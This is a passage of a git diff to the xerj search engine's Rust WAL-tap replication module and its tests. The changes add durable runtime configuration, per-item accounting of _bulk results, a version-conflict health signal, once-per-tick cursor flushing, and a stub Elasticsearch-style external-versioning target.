did with each action is read back per item, positionally,+//! and that is what the counters mean: `docs_shipped` and `last_shipped_seq`+//! move only for items the target **accepted**. A `_bulk` that returns `200`+//! while rejecting every action inside it — a target holding a higher external+//! version for every `_id`, i.e. a second writer got there first — is a real+//! state and used to be indistinguishable from a healthy tap.+//! `consecutive_conflict_only_batches` and+//! [`IndexTapStats::healthy`] exist so it is not.+//!//! **3. Backpressure.** Bounded by construction: one in-flight request per//! index, batches capped by `max_batch_docs` and `max_batch_bytes`, and//! nothing buffered between polls. When the target is down the cursor simply@@ -63,6 +90,25 @@//! logs at `warn` and increments `gaps` in `GET /_xerj/wal_tap/_stats`. The//! degradation is visible, not silent.//!+//! "Visible" is not the same as "survivable", though, and at the default+//! `storage.flush_interval_secs = 30` the WAL window is about one flush — so a+//! minute of target downtime on a hot index loses data with nothing but a log+//! line to offer. `wal_tap.min_retained_generations` is the middle path: a+//! **bounded** floor under `prune_verified` that holds the newest N rotated+//! generations whatever any consumer is doing. Deliberately not a retention+//! lease (Elasticsearch's `ReplicationTracker.addRetentionLease`, Lucene's+//! `SnapshotDeletionPolicy.snapshot`): a lease is held until the consumer+//! releases it, which is exactly how a dead follower wedges a leader's disk.+//! A floor costs `n * wal_max_size_mb` per shard and not one byte more.+//!+//! **4c. Where the configuration lives.** In the state file next to the+//! cursors, not only in memory. `PUT /_xerj/wal_tap` is durable and is+//! re-applied over the config file on the next boot; `DELETE /_xerj/wal_tap`+//! drops it. The alternative — the shape this started as — advertised+//! "runtime config, no restart" while a restart silently reverted the tap to+//! `enabled = false`, froze its cursors, let WAL pruning carry on, and left+//! `_stats` not even listing the affected indices.+//!//! Prior art consulted before writing this (per the repository's//! reference-coding mandate)://!@@ -79,6 +125,15 @@//! Confirms the two primitives: an explicitly bounded write buffer (count//! *and* bytes) as the whole of backpressure, and capped exponential backoff//! with jitter separating retryable transport failures from fatal ones.+//! - **lucene** `lucene/core/src/java/org/apache/lucene/store/BufferedIndexInput.java:289-317`+//! (`refill`) and `:221-244` (`resolvePositionInBuffer`), plus+//! `lucene/analysis/common/src/java/org/apache/lucene/analysis/util/SegmentingTokenizerBase.java:124-147`+//! (`refill`, the compact-then-read step), Apache-2.0 — the shape of the+//! incremental tail reader in [`xerj_storage::wal`]: a bounded window whose+//! absolute position is `bufferStart + buffer.position()`, read length+//! clamped to the file length so it never reads past EOF, and the+//! unconsumed remainder carried to the front before pulling more. Adapted,+//! not copied.use std::collections::BTreeMap;use std::path::{Path, PathBuf};@@ -135,6 +190,20 @@ struct IndexCursors {struct PersistedState {version: u32,indices: BTreeMap<String, IndexCursors>,+ /// The last configuration applied through `PUT /_xerj/wal_tap`.+ ///+ /// Without this, "runtime config, no restart" was a half-truth that+ /// failed in the direction that loses data: the live config lived only in+ /// an `RwLock`, so a restart silently reverted the tap to the file config+ /// — typically `enabled = false`. Cursors then froze while WAL pruning+ /// carried on, and `_stats` did not even list the affected indices,+ /// because it only lists what the *current* allowlist matches.+ ///+ /// Precedent for a persisted overlay winning over the file is+ /// Elasticsearch's `persistent` cluster settings.+ /// `DELETE /_xerj/wal_tap` drops it and reverts to the file.+ #[serde(default)]+ runtime_config: Option<WalTapConfig>,}impl Default for PersistedState {@@ -142,6 +211,7 @@ impl Default for PersistedState {Self {version: STATE_VERSION,indices: BTreeMap::new(),+ runtime_config: None,}}}@@ -186,8 +256,44 @@ pub struct IndexTapStats {pub consecutive_failures: u32,/// Last failure, as a short string. `None` once a send succeeds.pub last_error: Option<String>,- /// Highest `seq_no` shipped so far, for the lag estimate.+ /// Highest `seq_no` the target **accepted**, for the lag estimate.+ ///+ /// Accepted means the item came back without an `error`. A rejected item+ /// — including a version conflict — does not move this, because the whole+ /// point of the number is to answer "is our data there?" and the answer+ /// for a rejected action is no. Deriving it from the render-time batch+ /// instead is what let a target that rejected every single action report+ /// `lag_seq: 0` while `docs_shipped` climbed.pub last_shipped_seq: u64,+ /// Consecutive `_bulk` responses in which the target rejected **every**+ /// action as a version conflict.+ ///+ /// One conflict is expected and benign: it is how external versioning+ /// absorbs an at-least-once redelivery. A *sustained run* of batches that+ /// are entirely conflicts is not — it means the target holds a higher+ /// version for every `_id` this tap sends, so the tap is a no-op and the+ /// two sides are diverging. See [`IndexTapStats::healthy`].+ pub consecutive_conflict_only_batches: u32,+}++/// How many all-conflict batches in a row stop counting as "a redelivery+/// landed" and start counting as "this target is not taking our writes".+///+/// A redelivery after a failed send re-ships exactly the chunks that did not+/// land, so it clears on the next batch that contains anything new. Three in a+/// row cannot be that.+const CONFLICT_ONLY_UNHEALTHY_AFTER: u32 = 3;++impl IndexTapStats {+ /// Is this index's replication actually working?+ ///+ /// `false` for the two states that used to look identical to a healthy+ /// tap in `_stats`: a send that keeps failing, and a target that accepts+ /// every request while rejecting every action inside it.+ pub fn healthy(&self) -> bool {+ self.last_error.is_none()+ && self.consecutive_conflict_only_batches < CONFLICT_ONLY_UNHEALTHY_AFTER+ }}// ─────────────────────────────────────────────────────────────────────────────@@ -206,6 +312,28 @@ pub struct WalTap {ticks: AtomicU64,/// Milliseconds-since-start before which the next send must not be tried.retry_not_before_ms: AtomicU64,+ /// Cursor state has moved since the last durable write.+ ///+ /// Cursors are flushed **once per tick**, not once per index per poll.+ /// The old shape re-serialised and fsynced the WHOLE state file on every+ /// cursor advance — O(N²) bytes and 2N fsyncs per tick at N allowlisted+ /// indices, at a 500 ms default, on a node that `index_store.rs:806-813`+ /// records reaching 9,382 indices. `indices = ["*"]` walked straight into+ /// that.+ ///+ /// Deferring costs nothing that matters: the cursor is only ever+ /// persisted *after* the entries it covers have been shipped, so a crash+ /// in the window re-delivers a batch. Re-delivery is the documented+ /// contract (at-least-once, absorbed by `version_type: external`); losing+ /// a batch would not be, and that direction is impossible here.+ dirty: std::sync::atomic::AtomicBool,+ /// Durable writes of the state file since start.+ ///+ /// Instrumentation, and the only way to assert the property that matters+ /// about [`WalTap::dirty`]: the cost of a tick must not scale with the+ /// number of allowlisted indices. See+ /// `cursor_state_is_written_once_per_tick_not_once_per_index`.+ persists: AtomicU64,started: std::time::Instant,}@@ -237,6 +365,24 @@ impl WalTap {Err(_) => PersistedState::default(),};+ // A configuration set through the API outlives the process that took+ // it. Without this a restart reverted to the file config — usually+ // `enabled = false` — and the tap went quiet while its cursors froze+ // and WAL pruning carried on regardless.+ let config = match state.runtime_config.clone() {+ Some(saved) => {+ info!(+ target_url = %saved.redacted_target_url(),+ enabled = saved.enabled,+ indices = ?saved.indices,+ "WAL tap: applying the configuration last set via PUT /_xerj/wal_tap \+ (overrides the config file; DELETE /_xerj/wal_tap reverts)"+ );+ saved+ }+ None => config,+ };+let client = reqwest::Client::builder().timeout(Duration::from_secs(config.request_timeout_secs.max(1))).build()@@ -250,6 +396,8 @@ impl WalTap {client,ticks: AtomicU64::new(0),retry_not_before_ms: AtomicU64::new(0),+ dirty: std::sync::atomic::AtomicBool::new(false),+ persists: AtomicU64::new(0),started: std::time::Instant::now(),}}@@ -259,11 +407,33 @@ impl WalTap {self.config.read().clone()}- /// Replace the live configuration. Takes effect on the next poll; no- /// restart, and cursors are preserved so an index that stays in the- /// allowlist does not re-ship or skip.+ /// Replace the live configuration **durably**.+ ///+ /// Takes effect on the next poll — no restart — and cursors are preserved+ /// so an index that stays in the allowlist does not re-ship or skip. The+ /// configuration is also written next to the cursors and re-applied over+ /// the file config on the next boot, so "no restart needed" does not+ /// quietly mean "and it is gone after one".pub fn set_config(&self, config: WalTapConfig) {- *self.config.write() = config;+ *self.config.write() = config.clone();+ self.state.write().runtime_config = Some(config);+ // Operator action, not a hot path: make it durable now rather than at+ // the next tick, so a crash between the 200 and the next poll cannot+ // lose an acknowledged configuration change.+ self.persist_now();+ }++ /// Drop the persisted runtime overlay and revert to `config` (the value+ /// from the config file).+ pub fn clear_runtime_config(&self, file_config: WalTapConfig) {+ *self.config.write() = file_config;+ self.state.write().runtime_config = None;+ self.persist_now();+ }++ /// Does a configuration set through the API currently override the file?+ pub fn has_runtime_config(&self) -> bool {+ self.state.read().runtime_config.is_some()}/// Number of completed poll cycles — the "it is actually running" signal@@ -277,6 +447,43 @@ impl WalTap {self.stats.read().clone()}+ /// Put an index's cursors back, verbatim.+ ///+ /// Test seam. Reconstructs the one state no in-process sequence can reach+ /// on its own: a persisted cursor that outlived its WAL stream because the+ /// delete happened while this process was **not running**, so+ /// [`forget_index`](Self::forget_index) never fired. That is the case+ /// `tail_shard`'s offset-past-EOF check exists for, and it is unreachable+ /// from the public API by construction.+ #[doc(hidden)]+ pub fn restore_cursors_for_test(&self, index: &str, shards: BTreeMap<String, WalTailCursor>) {+ self.state+ .write()+ .indices+ .entry(index.to_string())+ .or_default()+ .shards = shards;+ self.persist_now();+ }++ /// Rewind an index's cursors to the start of their oldest generation.+ ///+ /// Test seam for the redelivery half of the at-least-once contract: it+ /// reproduces exactly what a crash between shipping a batch and persisting+ /// its cursor leaves behind, which is the case `version_type: external`+ /// exists to make safe.+ #[doc(hidden)]+ pub fn rewind_for_test(&self, index: &str) {+ let mut state = self.state.write();+ if let Some(cursors) = state.indices.get_mut(index) {+ for cursor in cursors.shards.values_mut() {+ *cursor = WalTailCursor::start_of(0);+ }+ }+ drop(state);+ self.persist_now();+ }+/// Per-index, per-shard cursors, for `_stats`.pub fn cursors(&self) -> BTreeMap<String, BTreeMap<String, WalTailCursor>> {self.state@@ -324,7 +531,31 @@ impl WalTap {f(guard.entry(index.to_string()).or_default())}- fn persist(&self) {+ /// Note that cursor state has moved. The write happens once, at the end of+ /// the tick — see [`WalTap::dirty`] for why deferring is safe.+ fn mark_dirty(&self) {+ self.dirty.store(true, Ordering::Relaxed);+ }++ /// Flush cursor state if anything moved since the last write.+ fn persist_if_dirty(&self) {+ if self.dirty.swap(false, Ordering::Relaxed) {+ self.persist_now();+ }+ }++ /// Durable writes of the state file since start.+ ///+ /// The tap's I/O amplification, exposed so it can be asserted rather than+ /// asserted about: one tick must cost one write however many indices are+ /// allowlisted.+ pub fn persists(&self) -> u64 {+ self.persists.load(Ordering::Relaxed)+ }++ fn persist_now(&self) {+ self.dirty.store(false, Ordering::Relaxed);+ self.persists.fetch_add(1, Ordering::Relaxed);let snapshot = self.state.read().clone();let bytes = match serde_json::to_vec_pretty(&snapshot) {Ok(b) => b,@@ -333,10 +564,12 @@ impl WalTap {return;}};- // Durable replace: a torn cursor file is a silent re-ship or a silent- // skip on the next boot, which is exactly the class of bug this- // feature must not introduce.- if let Err(e) = xerj_common::fsio::write_file_durable(&self.state_path, &bytes) {+ // Durable replace at 0600: a torn cursor file is a silent re-ship or a+ // silent skip on the next boot, and the persisted runtime config in+ // this file carries `target_auth` — a credential for another cluster,+ // which must not be world-readable in the data directory. Same writer+ // the API-key store uses.+ if let Err(e) = crate::engine::write_secret_file_atomic(&self.state_path, &bytes) {warn!(error = %e, path = ?self.state_path, "WAL tap: cannot persist cursor state");}}@@ -425,12 +658,22 @@ fn compact_source(source: &Value) -> String {source.to_string()}+/// One rendered action, in the order it appears in the `_bulk` body.+///+/// The `items` array of a `_bulk` response is positionally aligned with the+/// actions of the request, which is the only way to say *which* seq_no the+/// target actually took. Keeping the pairing is what makes+/// [`IndexTapStats::last_shipped_seq`] mean something.+#[derive(Clone, Copy)]+struct RenderedAction {+ seq: u64,+ is_delete: bool,+}+/// One `_bulk` request's worth of rendered actions.struct Chunk {body: String,- docs: u64,- deletes: u64,- max_seq: u64,+ actions: Vec<RenderedAction>,}/// Split a batch into `_bulk` bodies no larger than `max_bytes`.@@ -444,9 +687,7 @@ fn render_chunks(index: &str, batch: &[(u64, WalEntry)], max_bytes: usize) -> Velet mut chunks: Vec<Chunk> = Vec::new();let mut cur = Chunk {body: String::new(),- docs: 0,- deletes: 0,- max_seq: 0,+ actions: Vec::new(),};for (seq, entry) in batch {@@ -459,19 +700,15 @@ fn render_chunks(index: &str, batch: &[(u64, WalEntry)], max_bytes: usize) -> Ve&mut cur,Chunk {body: String::new(),- docs: 0,- deletes: 0,- max_seq: 0,+ actions: Vec::new(),},));}cur.body.push_str(&rendered);- if is_delete {- cur.deletes += 1;- } else {- cur.docs += 1;- }- cur.max_seq = cur.max_seq.max(*seq);+ cur.actions.push(RenderedAction {+ seq: *seq,+ is_delete,+ });}if !cur.body.is_empty() {chunks.push(cur);@@ -483,14 +720,28 @@ fn render_chunks(index: &str, batch: &[(u64, WalEntry)], max_bytes: usize) -> Ve// The poll loop// ─────────────────────────────────────────────────────────────────────────────+/// What the target did with one action inside a 2xx `_bulk` response.+#[derive(Clone, Copy, PartialEq, Eq)]+enum ItemOutcome {+ /// The target took it. This — and only this — advances the watermark.+ Accepted,+ /// `version_conflict_engine_exception`: the target already holds a+ /// version at least as high for this `_id`. Benign once (that is how+ /// external versioning absorbs a redelivery), a divergence signal when it+ /// is *every* action of *every* batch.+ Conflict,+ /// Rejected for any other reason — a mapping conflict, say. Counted,+ /// logged, and passed over: see [`WalTap::send_bulk`].+ Rejected,+}+/// Outcome of shipping one `_bulk` request.enum SendOutcome {/// The target accepted the request. Per-item failures may still have/// occurred; the cursor advances either way.- Accepted {- item_failures: u64,- version_conflicts: u64,- },+ ///+ /// `outcomes` is positionally aligned with the chunk's actions.+ Accepted { outcomes: Vec<ItemOutcome> },/// The request did not land. The cursor must not advance.Failed(String),}@@ -506,7 +757,7 @@ impl WalTap {/// loses everything behind it to WAL pruning rather than just the one bad/// document. That trade is deliberate and is why `item_failures` is in/// `_stats`.- async fn send_bulk(&self, config: &WalTapConfig, body: String) -> SendOutcome {+ async fn send_bulk(&self, config: &WalTapConfig, body: String, actions: usize) -> SendOutcome {let url = format!("{}/_bulk", config.target_url.trim_end_matches('/'));let mut req = self.client@@ -541,43 +792,59 @@ impl WalTap {Err(e) => {debug!(error = %e, "WAL tap: unparseable _bulk response body");return SendOutcome::Accepted {- item_failures: 0,- version_conflicts: 0,+ outcomes: vec![ItemOutcome::Accepted; actions],};}};- let mut item_failures = 0u64;- let mut version_conflicts = 0u64;- if parsed.get("errors").and_then(Value::as_bool) == Some(true) {- for item in parsed- .get("items")- .and_then(Value::as_array)- .map(Vec::as_slice)- .unwrap_or_default()- {- let Some(action) = item.as_object().and_then(|o| o.values().next()) else {- continue;- };- let Some(error) = action.get("error") else {- continue;- };- let kind = error.get("type").and_then(Value::as_str).unwrap_or("");- if kind == "version_conflict_engine_exception" {- version_conflicts += 1;- } else {- if item_failures == 0 {- warn!(error = %error, "WAL tap: target rejected a document — \- skipped (see item_failures in _stats)");- }- item_failures += 1;+ // `errors: false` means every action landed, and ES omits nothing in+ // that case worth walking.+ if parsed.get("errors").and_then(Value::as_bool) != Some(true) {+ return SendOutcome::Accepted {+ outcomes: vec![ItemOutcome::Accepted; actions],+ };+ }++ let items = parsed+ .get("items")+ .and_then(Value::as_array)+ .map(Vec::as_slice)+ .unwrap_or_default();+ if items.len() != actions {+ // `errors: true` with an items array that is not positionally+ // aligned with the request. Nothing can be attributed to a+ // specific action, so refuse to claim any of them landed: hold+ // the cursor and retry rather than advance past writes whose fate+ // is unknown. At-least-once is a contract; at-most-once is not.+ return SendOutcome::Failed(format!(+ "target reported errors with {} items for {actions} actions — cannot \+ attribute outcomes, holding the cursor",+ items.len()+ ));+ }++ let mut outcomes = Vec::with_capacity(items.len());+ let mut warned = false;+ for item in items {+ let action = item.as_object().and_then(|o| o.values().next());+ let error = action.and_then(|a| a.get("error"));+ let Some(error) = error else {+ outcomes.push(ItemOutcome::Accepted);+ continue;+ };+ let kind = error.get("type").and_then(Value::as_str).unwrap_or("");+ if kind == "version_conflict_engine_exception" {+ outcomes.push(ItemOutcome::Conflict);+ } else {+ if !warned {+ warned = true;+ warn!(error = %error, "WAL tap: target rejected a document — \+ skipped (see item_failures in _stats)");}+ outcomes.push(ItemOutcome::Rejected);}}- SendOutcome::Accepted {- item_failures,- version_conflicts,- }+ SendOutcome::Accepted { outcomes }}/// Poll one index once: read its WAL tail, ship it, advance its cursors.@@ -644,9 +911,13 @@ impl WalTap {gaps += 1;warn!(index = %name, shard = %shard,- "WAL tap: a WAL generation was pruned before it could be shipped — \- entries are missing at the target and cannot be recovered from the \- WAL. The tap is behind; raise poll throughput or check the target."+ "WAL tap: a discontinuity in this shard's WAL stream — either a \+ generation was pruned before it could be shipped, or the stream was \+ replaced (index deleted and recreated, or data directory rolled \+ back). Entries are missing at the target and cannot be recovered \+ from the WAL. If the tap is behind, raise poll throughput, check the \+ target, or set wal_tap.min_retained_generations; `tail_shard` names \+ which of the two it was at WARN.");}corrupt += tail.corrupt_skipped as u64;@@ -678,7 +949,7 @@ impl WalTap {.entry(name.to_string()).or_default().shards = new_cursors;- self.persist();+ self.mark_dirty();if first_look {// The tap just positioned at the end of an established// index: it is caught up by definition, having deliberately@@ -707,7 +978,7 @@ impl WalTap {.entry(name.to_string()).or_default().shards = new_cursors;- self.persist();+ self.mark_dirty();return more;}@@ -716,24 +987,48 @@ impl WalTap {// read has to land before the cursors move, so a failure part-way// through redelivers the earlier chunks on the next poll — which is// exactly what external versioning makes free.+ // Everything here is counted from the target's PER-ITEM verdict, not+ // from what was rendered. A `_bulk` that returns 200 while rejecting+ // every action inside it is a common, real state — a target holding+ // higher external versions for the same `_id`s makes every action a+ // no-op — and counting render-time values made that indistinguishable+ // from a healthy tap: `docs_shipped` climbed, `lag_seq` read 0, and+ // nothing had been replicated.let mut docs = 0u64;let mut deletes = 0u64;- let mut max_seq = 0u64;+ let mut max_accepted_seq = 0u64;let mut item_failures = 0u64;let mut version_conflicts = 0u64;let mut batches = 0u64;+ let mut conflict_only_batches = 0u32;for chunk in chunks {- match self.send_bulk(config, chunk.body).await {- SendOutcome::Accepted {- item_failures: items,- version_conflicts: conflicts,- } => {- docs += chunk.docs;- deletes += chunk.deletes;- max_seq = max_seq.max(chunk.max_seq);- item_failures += items;- version_conflicts += conflicts;+ let actions = chunk.actions.clone();+ match self.send_bulk(config, chunk.body, actions.len()).await {+ SendOutcome::Accepted { outcomes } => {+ let mut accepted_here = 0u64;+ let mut conflicts_here = 0u64;+ for (action, outcome) in actions.iter().zip(outcomes.iter()) {+ match outcome {+ ItemOutcome::Accepted => {+ accepted_here += 1;+ max_accepted_seq = max_accepted_seq.max(action.seq);+ if action.is_delete {+ deletes += 1;+ } else {+ docs += 1;+ }+ }+ ItemOutcome::Conflict => {+ conflicts_here += 1;+ version_conflicts += 1;+ }+ ItemOutcome::Rejected => item_failures += 1,+ }+ }+ if accepted_here == 0 && conflicts_here == actions.len() as u64 {+ conflict_only_batches += 1;+ }batches += 1;}SendOutcome::Failed(err) => {@@ -743,6 +1038,7 @@ impl WalTap {s.batches_sent += batches;s.item_failures += item_failures;s.version_conflicts += version_conflicts;+ s.last_shipped_seq = s.last_shipped_seq.max(max_accepted_seq);s.bulk_failures += 1;s.consecutive_failures = s.consecutive_failures.saturating_add(1);s.last_error = Some(err.clone());@@ -762,29 +1058,85 @@ impl WalTap {.entry(name.to_string()).or_default().shards = new_cursors;- self.persist();- self.stat(name, |s| {+ self.mark_dirty();+ let unhealthy = self.stat(name, |s| {s.docs_shipped += docs;s.deletes_shipped += deletes;s.batches_sent += batches;s.item_failures += item_failures;s.version_conflicts += version_conflicts;- s.last_shipped_seq = s.last_shipped_seq.max(max_seq);+ s.last_shipped_seq = s.last_shipped_seq.max(max_accepted_seq);s.consecutive_failures = 0;- s.last_error = None;+ // A run of batches in which the target rejected every action as a+ // conflict is not "replication working". Only a batch that landed+ // something clears it.+ if conflict_only_batches > 0 && docs == 0 && deletes == 0 {+ s.consecutive_conflict_only_batches = s+ .consecutive_conflict_only_batches+ .saturating_add(conflict_only_batches);+ } else {+ s.consecutive_conflict_only_batches = 0;+ }+ if s.consecutive_conflict_only_batches >= CONFLICT_ONLY_UNHEALTHY_AFTER {+ s.last_error = Some(format!(+ "target rejected every action of the last {} batches with \+ version_conflict_engine_exception — it holds a higher version for \+ every document this tap sends, so nothing is being replicated",+ s.consecutive_conflict_only_batches+ ));+ true+ } else {+ s.last_error = None;+ false+ }});+ if unhealthy {+ warn!(+ index = %name, version_conflicts,+ "WAL tap: every action is being rejected as a version conflict — the \+ target holds higher versions than this node. _stats reports the index \+ unhealthy; check that the target is not also fed by another writer."+ );+ }self.clear_backoff();debug!(index = %name, docs, deletes, batches, "WAL tap: batch shipped");more}+ /// Drop one index's cursors the moment it is deleted.+ ///+ /// Called from [`Engine::delete_index`](crate::engine::Engine::delete_index),+ /// and that timing is the whole point. A deletion is the exact boundary+ /// between two incarnations of a name: after it, any surviving cursor+ /// belongs to a WAL stream that no longer exists.+ ///+ /// Waiting for a poll to *notice* the absence — which is all+ /// [`forget_deleted`](Self::forget_deleted) can do — misses the case that+ /// matters, because `DELETE` + `PUT` inside one 500 ms poll interval is+ /// never observed as an absence at all. The recreated index then starts a+ /// new WAL at generation 0, so the `cursor.generation > newest` guard+ /// never trips, and the stale byte offset either landed past EOF (every+ /// document silently skipped, `gap` false) or mid-frame (the shard wedged+ /// forever with `gaps: 0` and `last_error: null`). Both are the failure a+ /// WAL consumer must never have, and both are unreachable from here.+ ///+ /// `tail_shard`'s offset-past-EOF check is the second line of defence,+ /// for a delete this process never saw — one that happened while the node+ /// was down.+ pub fn forget_index(&self, name: &str) {+ let removed = self.state.write().indices.remove(name).is_some();+ self.stats.write().remove(name);+ if removed {+ debug!(index = %name, "WAL tap: forgetting the cursor of a deleted index");+ self.persist_now();+ }+ }+/// Drop cursors for indices that no longer exist.///- /// Hygiene, and one correctness case: an index deleted and recreated under- /// the same name gets a brand-new WAL starting at generation 0, which the- /// old cursor points far past. `tail_shard` self-heals that as a gap, but- /// forgetting the cursor is both cheaper and more honest — the new index- /// genuinely has no shipped history.+ /// Hygiene for anything [`forget_index`](Self::forget_index) did not see:+ /// a deletion by a path that does not route through `Engine::delete_index`,+ /// or an index removed while this process was not running.fn forget_deleted(&self, live: &[String]) {let mut state = self.state.write();if state.indices.keys().all(|k| live.iter().any(|l| l == k)) {@@ -798,7 +1150,7 @@ impl WalTap {kept});drop(state);- self.persist();+ self.mark_dirty();}/// One full pass over the allowlisted indices. Exposed for tests; the@@ -815,6 +1167,9 @@ impl WalTap {let live = engine.index_name_list();self.forget_deleted(&live);+ // One durable write per tick, at the end, whatever moved — not one+ // per index per poll. See `WalTap::dirty`.+ let _flush = FlushOnDrop(self);for name in live {if !Self::ships(&config, &name) {@@ -844,6 +1199,19 @@ impl WalTap {}}+/// Flushes the tap's cursor state when a tick ends, however it ends.+///+/// A guard rather than a call at the bottom of `tick`, because `tick` returns+/// early from several places (backoff armed mid-loop, a send failure) and a+/// missed flush means the *next* boot re-ships from an older cursor.+struct FlushOnDrop<'a>(&'a WalTap);++impl Drop for FlushOnDrop<'_> {+ fn drop(&mut self) {+ self.0.persist_if_dirty();+ }+}+/// Drive the tap until the process exits.pub async fn run(tap: Arc<WalTap>, engine: Arc<Engine>) {info!("WAL tap loop started (disabled until wal_tap.enabled and a target are set)");diff --git a/engine/crates/xerj-engine/tests/product_experience.rs b/engine/crates/xerj-engine/tests/product_experience.rsindex e62e7cb39..61cd28433 100644--- a/engine/crates/xerj-engine/tests/product_experience.rs+++ b/engine/crates/xerj-engine/tests/product_experience.rs@@ -753,7 +753,7 @@ fn count_settings(value: &serde_json::Value) -> usize {/// Settings in a default `Config`, measured by `count_settings`. Quoted in/// `xerj-common/src/config.rs`; keep the two in step.-const EXPECTED_SETTINGS: usize = 114;+const EXPECTED_SETTINGS: usize = 115;#[tokio::test]async fn journey_zero_config() {diff --git a/engine/crates/xerj-engine/tests/wal_tap_push.rs b/engine/crates/xerj-engine/tests/wal_tap_push.rsindex ce2a73586..87eb8fe7e 100644--- a/engine/crates/xerj-engine/tests/wal_tap_push.rs+++ b/engine/crates/xerj-engine/tests/wal_tap_push.rs@@ -33,6 +33,39 @@ struct Received {bodies: Vec<String>,/// `Authorization` header of the last request, if any.last_auth: Option<String>,+ /// `_id` → highest `version` this target currently holds, maintained only+ /// in [`TargetSemantics::ExternalVersioning`].+ versions: HashMap<String, u64>,+}++/// How the stub answers a `_bulk`.+#[derive(Clone, Copy, PartialEq, Eq)]+enum TargetSemantics {+ /// `{"took":1,"errors":false,"items":[]}` — everything is accepted.+ ///+ /// Fine for "did the bytes arrive", useless for the design's central+ /// safety claim, because it makes the whole `errors == true` branch of+ /// `send_bulk` dead code.+ AlwaysAccept,+ /// Elasticsearch's `version_type: external` rule, which is what the tap's+ /// at-least-once story rests on: an action applies only if its `version`+ /// is **strictly greater** than the one the target holds for that `_id`;+ /// otherwise the item comes back `version_conflict_engine_exception` and+ /// the stored document is untouched.+ ///+ /// This is the target the feature is designed against, and until now+ /// nothing in the tree implemented it —+ /// `scripts/verify-wal-tap.sh` runs two real xerj nodes, and xerj's own+ /// `_bulk` ignores per-action `version` / `version_type` (only the+ /// single-doc path honours them, `es_compat.rs:2990`), so even the+ /// end-to-end script exercised precisely the target that ignores the+ /// mechanism.+ ExternalVersioning,+ /// External versioning against a target that already holds a *higher*+ /// version for every `_id` — a second writer got there first. Every action+ /// is a rejected no-op, and the tap must say so rather than report a+ /// healthy zero-lag stream.+ ExternalVersioningAheadBy(u64),}struct StubTarget {@@ -43,6 +76,10 @@ struct StubTarget {impl StubTarget {async fn start() -> Self {+ Self::start_with(TargetSemantics::AlwaysAccept).await+ }++ async fn start_with(semantics: TargetSemantics) -> Self {let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();let url = format!("http://{}", listener.local_addr().unwrap());let received = Arc::new(Mutex::new(Received::default()));@@ -54,7 +91,7 @@ impl StubTarget {};let sink = sink.clone();tokio::spawn(async move {- let _ = serve_one(stream, sink).await;+ let _ = serve_one(stream, sink, semantics).await;});}});@@ -65,6 +102,12 @@ impl StubTarget {}}+ /// The document set the target actually holds, `_id` → version. Only+ /// meaningful for the external-versioning semantics.+ fn stored_versions(&self) -> HashMap<String, u64> {+ self.received.lock().unwrap().versions.clone()+ }+/// Every `_bulk` action line the target has seen, paired with the source/// line that followed it (`None` for a delete).fn actions(&self) -> Vec<(Value, Option<Value>)> {@@ -104,9 +147,78 @@ impl StubTarget {}}+/// Apply one `_bulk` NDJSON body under [`TargetSemantics::ExternalVersioning`]+/// and return the ES-shaped response body.+///+/// Deliberately implements the ES rule and not a friendlier one: an `index`+/// action with `version_type: external` applies iff `version > stored`, a+/// `delete` the same, and a rejection is+/// `{"status":409,"error":{"type":"version_conflict_engine_exception", …}}`+/// with the stored document left alone.+fn apply_external_versioning(body: &str, held: &mut HashMap<String, u64>, ahead_by: u64) -> String {+ let mut items = Vec::new();+ let mut errors = false;+ let mut lines = body.lines();+ while let Some(meta_line) = lines.next() {+ if meta_line.trim().is_empty() {+ continue;+ }+ let meta: Value = serde_json::from_str(meta_line).expect("action line");+ let (action, spec) = meta+ .as_object()+ .and_then(|o| o.iter().next())+ .map(|(k, v)| (k.clone(), v.clone()))+ .expect("action object");+ if action != "delete" {+ // Consume the source line.+ let _ = lines.next().expect("source line");+ }+ let id = spec["_id"].as_str().unwrap_or_default().to_string();+ let index = spec["_index"].as_str().unwrap_or_default().to_string();+ let incoming = spec["version"].as_u64().unwrap_or(0);+ assert_eq!(+ spec["version_type"], "external",+ "the tap must send external versioning or none of this applies"+ );++ // `ahead_by > 0` models a second writer that got to this target+ // first: seed a version the tap can never beat.+ let stored = *held.entry(id.clone()).or_insert(incoming + ahead_by);+ if incoming > stored {+ held.insert(id.clone(), incoming);+ let result = if action == "delete" {+ "deleted"+ } else {+ "created"+ };+ items.push(json!({action: {+ "_index": index, "_id": id, "_version": incoming,+ "result": result,+ "status": 201,+ }}));+ } else {+ errors = true;+ items.push(json!({action: {+ "_index": index, "_id": id, "_version": stored, "status": 409,+ "error": {+ "type": "version_conflict_engine_exception",+ "reason": format!(+ "[{id}]: version conflict, current version [{stored}] is higher \+ or equal to the one provided [{incoming}]"),+ },+ }}));+ }+ }+ json!({"took": 1, "errors": errors, "items": items}).to_string()+}+/// Read one HTTP request, record the body, answer with an ES-shaped `_bulk`/// response.-async fn serve_one(mut stream: TcpStream, sink: Arc<Mutex<Received>>) -> std::io::Result<()> {+async fn serve_one(+ mut stream: TcpStream,+ sink: Arc<Mutex<Received>>,+ semantics: TargetSemantics,+) -> std::io::Result<()> {let mut raw = Vec::new();let mut buf = [0u8; 8192];loop {@@ -137,18 +249,35 @@ async fn serve_one(mut stream: TcpStream, sink: Arc<Mutex<Received>>) -> std::iok.eq_ignore_ascii_case("authorization").then(|| v.trim().to_string())});- {+ let payload = {let mut guard = sink.lock().unwrap();- guard.bodies.push(body);guard.last_auth = auth;- }- let payload = br#"{"took":1,"errors":false,"items":[]}"#;+ let response = match semantics {+ TargetSemantics::AlwaysAccept => {+ r#"{"took":1,"errors":false,"items":[]}"#.to_string()+ }+ TargetSemantics::ExternalVersioning => {+ let mut held = std::mem::take(&mut guard.versions);+ let out = apply_external_versioning(&body, &mut held, 0);+ guard.versions = held;+ out+ }+ TargetSemantics::ExternalVersioningAheadBy(n) => {+ let mut held = std::mem::take(&mut guard.versions);+ let out = apply_external_versioning(&body, &mut held, n);+ guard.versions = held;+ out+ }+ };+ guard.bodies.push(body);+ response+ };let resp = format!("HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n",payload.len());stream.write_all(resp.as_bytes()).await?;- stream.write_all(payload).await?;+ stream.write_all(payload.as_bytes()).await?;stream.flush().await?;break;}@@ -514,31 +643,356 @@ async fn batch_limits_split_the_stream_instead_of_dropping_it() {/// that stalls the shard silently and forever — the worst failure mode a WAL/// consumer can have, because `_stats` would show a healthy tap shipping/// nothing.+///+/// **No `tick()` between the delete and the recreate.** That is the whole+/// point: the default poll interval 